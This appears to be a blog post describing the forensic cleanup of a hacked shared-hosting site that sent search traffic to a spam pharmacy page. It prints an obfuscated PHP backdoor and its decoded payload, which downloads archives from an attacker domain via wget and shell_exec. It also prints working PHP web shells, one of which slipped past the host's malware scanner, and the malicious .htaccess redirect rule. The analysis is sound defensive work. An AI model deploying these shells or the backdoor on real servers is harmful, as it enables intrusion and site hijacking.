I've seen this before; redirectors that notice too many loads from the same browser and stop redirecting. I found that using Safari on the original computer showed the redirection, and that if I deleted all browsing data, Chrome showed the redirection again.
Using Chrome Developer Tools, I captured the sequence of the redirection, as shown below.
The GET request from Google never loads any page from the site at all; the response is a 302 redirect to the adult site.
After a few experiments, I made this Python script to show the effect in a very simple way. A Referer of Google causes the redirect; without that, it loads correctly.
#!/usr/bin/python
import socket
s = socket.socket()
req1 = """GET / HTTP/1.1
Host:www.example.com
Referer:https://www.google.com/
"""
s.connect(("www.example.com", 80))
s.send(req1)
print "HTTP REQUEST:"
print req1
print
print "RESPONSE:"
resp = s.recv(2048)
print resp
s.close()
The result was clear:
HTTP REQUEST:
GET / HTTP/1.1
Host:www.example.com
Referer:https://www.google.com/
RESPONSE:
HTTP/1.1 302 Found
Date: Fri, 22 Apr 2016 05:28:44 GMT
Server: Apache
Location: http://top-24h-can-store.com/redirect.php?z=viagra
Content-Length: 305
Content-Type: text/html; charset=iso-8859-1
The site was a shared hosting page on GoDaddy without SSH access, so all I could get was an FTP name and password.
Looking at the site with FTP, I quickly saw two suspicious-looking PHP files: css.php and ferries-annually.php.
However, that had no effect--the redirection still operated.
I noticed at this point that I could not change the file permissions back; they were stuck at 000. My FTP account was not the owner of the files.
I couldn't find anything else suspicious, so I turned to analyzing those files.
<?php $oiowl="sbZT3NA.J6lrf8eV0c2ITTr_XJbvT1.S6lKo4tetmeeHmJI4_d9AHe464bO9oAacrndpiqePCAEDee/p/Rc4_nWX27g6eaRogsheNP*9a02Qp"; $gvrgleuns=$oiowl[43] .$oiowl[20] .$oiowl[21] .$oiowl[71] .$oiowl[84] .$oiowl[45] .$oiowl[5] .$oiowl[24] .$oiowl[6] .$oiowl[73]; $vjmjoetlp=$oiowl[96] .$oiowl[38] .$oiowl[37] .$oiowl[99] .$oiowl[65] .$oiowl[27]; $rldihcmam=$oiowl[108] .$oiowl[11] .$oiowl[92] .$oiowl[90] .$oiowl[23] .$oiowl[64] .$oiowl[77] .$oiowl[79] .$oiowl[33] .$oiowl[104] .$oiowl[82] .$oiowl[42]; $tikrdyjde=$oiowl[1] .$oiowl[93] .$oiowl[0] .$oiowl[53] .$oiowl[55] .$oiowl[47] .$oiowl[48] .$oiowl[66] .$oiowl[76] .$oiowl[17] .$oiowl[95] .$oiowl[49] .$oiowl[14]; $uoitsphod=$oiowl[80] .$oiowl[30] .$oiowl[102] .$oiowl[78] .$oiowl[41]; $afjryxvih=$oiowl[7]; $xyklihfuz=$vjmjoetlp($gvrgleuns); $rldihcmam($uoitsphod,$tikrdyjde($xyklihfuz),$afjryxvih); ?>
I modified the file to print out the results
rather than take action:
<?php $oiowl="sbZT3NA.J6lrf8eV0c2ITTr_XJbvT1.S6lKo4tetmeeHmJI4_d9AHe464bO9oAacrndpiqePCAEDee/p/Rc4_nWX27g6eaRogsheNP*9a02Qp";
$gvrgleuns=$oiowl[43] .$oiowl[20] .$oiowl[21] .$oiowl[71] .$oiowl[84] .$oiowl[45] .$oiowl[5] .$oiowl[24] .$oiowl[6] .$oiowl[73];
$vjmjoetlp=$oiowl[96] .$oiowl[38] .$oiowl[37] .$oiowl[99] .$oiowl[65] .$oiowl[27];
$rldihcmam=$oiowl[108] .$oiowl[11] .$oiowl[92] .$oiowl[90] .$oiowl[23] .$oiowl[64] .$oiowl[77] .$oiowl[79] .$oiowl[33] .$oiowl[104] .$oiowl[82] .$oiowl[42];
$tikrdyjde=$oiowl[1] .$oiowl[93] .$oiowl[0] .$oiowl[53] .$oiowl[55] .$oiowl[47] .$oiowl[48] .$oiowl[66] .$oiowl[76] .$oiowl[17] .$oiowl[95] .$oiowl[49] .$oiowl[14];
$uoitsphod=$oiowl[80] .$oiowl[30] .$oiowl[102] .$oiowl[78] .$oiowl[41];
$afjryxvih=$oiowl[7];
print "gvrgleuns: $gvrgleuns \n<br>";
print "vjmjoetlp: $vjmjoetlp \n<br>";
print "rldihcmam: $rldihcmam \n<br>";
print "tikrdyjde: $tikrdyjde \n<br>";
print "uoitsphod: $uoitsphod \n<br>";
print "afjryxvih: $afjryxvih \n<br>";
$xyklihfuz=$vjmjoetlp($gvrgleuns);
print "Next command is: $vjmjoetlp($gvrgleuns)\n<br>";
print "Result xyklihfuz is $xyklihfuz \n<br>";
print "Next command is: $rldihcmam($uoitsphod,$tikrdyjde($xyklihfuz),$afjryxvih)\n<br>";
# $rldihcmam($uoitsphod,$tikrdyjde($xyklihfuz),$afjryxvih);
?>
I ran it on my server (one of the ones I use for dangerous
things). It deobfuscates something using base64,
but it wasn't obvious what the input was.
<?php
$iagszq="c".chr(114)."e"."a"."t"."e".chr(95)."f"."u".chr(110).chr(99).chr(116)."\x69".chr(111)."n";
$cpqqek = $iagszq('$a',strrev(';)a$(lave'));
$cpqqek(strrev(';))"K0QfJkgCN0XC...R3X0V2c"(edoced_46esab(lave'));
?>
Once again, I modified the code to print out the
deobfuscated text:
<?php
$iagszq="c".chr(114)."e"."a"."t"."e".chr(95)."f"."u".chr(110).chr(99).chr(116)."\x69".chr(111)."n";
print "Decoded stuff: \n";
print base64_decode("c2V0X3RpbWV...gkJfQ0K")
?>
And here's the code, with some print statements and comments I added,
denoted by red font:
set_time_limit(0);
function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
print "Get Page by Curl wants to fetch $url \n<br>";
# $result = curl_exec ($ch);
# curl_close($ch);
# return $result;
}
$doorcontent="";
$x=@$_POST["pppp_check"];
$md5pass="e5e4570182820af0a183ce1520afe43b";
$host=@$_SERVER["HTTP_HOST"];
$uri=@$_SERVER["REQUEST_URI"];
$host=str_replace("www.","",$host);
$md5host=md5($host);
$urx=$host.$uri;
$md5urx=md5($urx);
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();if (!is_dir($tmppath)){ $tmppath = (dirname(__FILE__)); } } else { $tmppath = (dirname(__FILE__));}
print "tmppath: $tmppath <br>\n";
$cdir=$tmppath."/.".$md5host."/";
$domain=base64_decode("Zi5zbGVvemlmYXJtaS5jb20=");
print "cdir: $cdir <br>\n";
print "domain: $domain <br>\n";
if ($x!=""){
$p=md5(base64_decode(@$_POST["p"]));
if ($p!=$md5pass)return;
$pa=@$_POST["pa"];
if (($x=="2")||($x=="4")){
echo "###UPDATING_FILES###\n";
if ($x=="2"){
$cmd="cd $tmppath; rm -rf .$md5host";
echo shell_exec($cmd);
}
$cmd="cd $tmppath; wget http://update.$domain/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
if ($pa!=""){
$pa+=0;
$cmd="cd $tmppath; wget http://update.$domain/arc/".$md5host."_".$pa.".tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
}
echo shell_exec($cmd);
exit;
}
if ($x=="3"){
echo "###WORKED###\n";exit;
}
}else{
$curx=$cdir.$md5urx;
if (@file_exists($curx)){
@list($IDpack,$mk,$doorcontent,$pdf,$contenttype)=@explode("|||",@file_get_contents($curx));
$doorcontent=@base64_decode($doorcontent);
$bot=0;
$se=0;
$mobile=0;
if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1;
if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1;
if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1;
if ($bot) {
$pdf+=0;
if ($pdf==1){
header("Content-Type: application/pdf");
}
if ($pdf==2){
header("Content-Type: image/png");
}
if ($pdf==3){
header("Content-Type: text/xml");
}
if ($pdf==4){
$contenttype=@base64_decode($contenttype);
$types=explode("\n",$contenttype);
foreach($types as $val){
$val=trim($val);
if($val!="")header($val);
}
}
echo $doorcontent;exit;
}
if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;}
header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
echo '<html><head>' . "\n";
echo '<title>404 Not Found</title>' . "\n";
echo '</head><body>' . "\n";
echo '<h1>Not Found</h1>' . "\n";
echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
echo '<hr>' . "\n";
echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
echo '</body></html>';
exit;
}else{
$crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI'];
$buf=get_page_by_curl($crurl);
$curx=$cdir."fff.sess";
if (@file_exists($curx)){
$links=@file($curx,FILE_SKIP_EMPTY_LINES|FILE_IGNORE_NEW_LINES);
$c=@count($links)-1;
shuffle($links);
if ($c>20)$c=20;
$regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
if(preg_match_all("/$regexp/siU", $buf, $matches)) {
$zval=$matches[0];
shuffle($zval);
foreach($zval as $val){
if ($c<0)break;
list($l,$anchor)=explode("|||",trim($links[$c]));
$new='<a href="'.$l.'">'.$anchor.'</a>';
$buf=str_ireplace($val,$new,$buf);
$c--;
}
}
}
echo $buf;
}
}
By running portions of this code on my server, and also on the infected business server,
I figured out that it's loading a page from "f.sleozifarmi.com" via curl
and using it to control the redirection process, which has several different
options, but does watch for a Referer of Google.
The redirector is also using the "tmp" folder, which looks like this on GoDaddy:
/home/content/59/1234567/tmp
I tried uploading my favorite PHP shell:
<?php system($_REQUEST['cmd']); ?>
Something blocked this. The shell would upload, but
then the file would be deleted immediately. Apparently
GoDaddy is running something like antivirus on the
server, which detects the shell and deletes it.
Apparently, text reversal and base64 encoding are enough to sneak malware past the scanner, so I considered copying those techniques from the malware, but none of that was needed. All I had to do was to modify the shell to this:
<?php
$x = ($_REQUEST["x"]);
system($x);
echo "</pre>$x<pre>";
?>
I caused some disruption at the coffehouse laughing
when I saw that shell work on the GoDaddy server.
Their malware detection is REALLY LAME.
Now I had a shell, so I could explore other directories.
The website content is here:
/home/content/59/1234567/htmlAnd the tmp directory is here:
/home/content/59/1234567/tmpUsing my PHP shell to execute
ls -al ..
Showed these results:
total 48
drwx---r-x 8 cust1 inetuser 4096 Aug 15 2014 .
drwx---r-x 70 0 root 12288 Apr 22 12:55 ..
-rwx---r-x 1 0 root 20 Nov 14 2010 .cgi_auth
-rw-r--r-- 1 0 root 754 Apr 20 18:01 .disk_usage
-------r-- 1 0 root 0 Nov 6 2012 .htaccess
drwx---r-x 2 cust1 inetuser 4096 Nov 14 2010 data
drwx---r-x 2 cust1 inetuser 4096 Jan 16 2012 htconfig
drwx---r-x 36 cust1 inetuser 8192 Apr 22 12:53 html
drwx---r-x 2 cust1 inetuser 4096 Nov 29 2010 scc
drwx---r-x 2 cust1 inetuser 4096 Nov 9 23:11 scctmp
drwx---r-x 3 cust1 inetuser 4096 Nov 9 00:27 tmp
The tmp folder contained a hidden folder with a name
calculated with MD5:
total 12
drwx---r-x 3 cust1 inetuser 4096 Nov 9 00:27 .
drwx---r-x 8 cust1 inetuser 4096 Aug 15 2014 ..
drwx---r-x 2 cust1 inetuser 4096 Nov 9 00:27 .b50ef72e70379f22e115024ecb16d288
The hidden folder contained a set of files, which
were obfuscated and began with the names of the adult
pages it was redirecting to:
total 464
drwx---r-x 2 cust1 inetuser 4096 Nov 9 00:27 .
drwx---r-x 3 cust1 inetuser 4096 Nov 9 00:27 ..
-rw----r-- 1 cust1 inetuser 28558 Nov 9 00:27 2ae9db954cb115b6b53b74b058a0c9b3
-rw----r-- 1 cust1 inetuser 28947 Nov 9 00:27 4683c144eb4f2c99753890847811f857
-rw----r-- 1 cust1 inetuser 60844 Nov 9 00:27 5889d11949a8f1f2f08d37ccec50a17f
-rw----r-- 1 cust1 inetuser 27876 Nov 9 00:27 7613898c42aaf79082059f29f5646f57
-rw----r-- 1 cust1 inetuser 30912 Nov 9 00:27 7769344e3cdc41a2ffa260aaa40637dc
-rw----r-- 1 cust1 inetuser 28920 Nov 9 00:27 7a4fd05b9b16733d3760a8b2d77cb336
-rw----r-- 1 cust1 inetuser 25668 Nov 9 00:27 898853a76350b1ac7842441e8cd4b4f8
-rw----r-- 1 cust1 inetuser 28720 Nov 9 00:27 968b95a5c85c6d156914276c05e38cc2
-rw----r-- 1 cust1 inetuser 52867 Nov 9 00:27 994dba7b1e953ab061df6736668c9f56
-rw----r-- 1 cust1 inetuser 27395 Nov 9 00:27 bf578182c25214079ca92616f5ea4c3f
-rw----r-- 1 cust1 inetuser 26152 Nov 9 00:27 d09742876f4db77ea21f6974bd689974
-rw----r-- 1 cust1 inetuser 62809 Nov 9 00:27 e1697240ec606c99ee064b61204664ae
Using my PHP shell, I used "cp" to copy these files to
the html folder, and used FTP to save a copy for later analysis.
I then deleted all these tmp files.
However, the redirection still persisted.
RewriteEngine On
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing|Seznam|seznam)
RewriteRule . http://top-24h-can-store.com/redirect.php?z=viagra [L]
RewriteEngine On
Very simple and obvious! I deleted that file and the redirection stopped.
I ran several vulnerability scanners on the site, but they found nothing significant. The site is very simple, no database, no CMS; very little to go wrong.
In am left with these guesses for the cause:
All I can recommend is changing all passwords, upgrading to encrypted FTP, and monitoring the site to see if the infection reappears. Quite unsatisfactory. One lesson for me is that Web hosting is risky; you don't even have enough access to clean your site properly if you want to. You are dependent on whatever security your hosting provider has, and you can't even monitor it properly.
The site owner did have some sort of Sucuri protection on the site, but the owner didn't use that service to clean the site, in order to give me a chance to try first, which I appreciate :)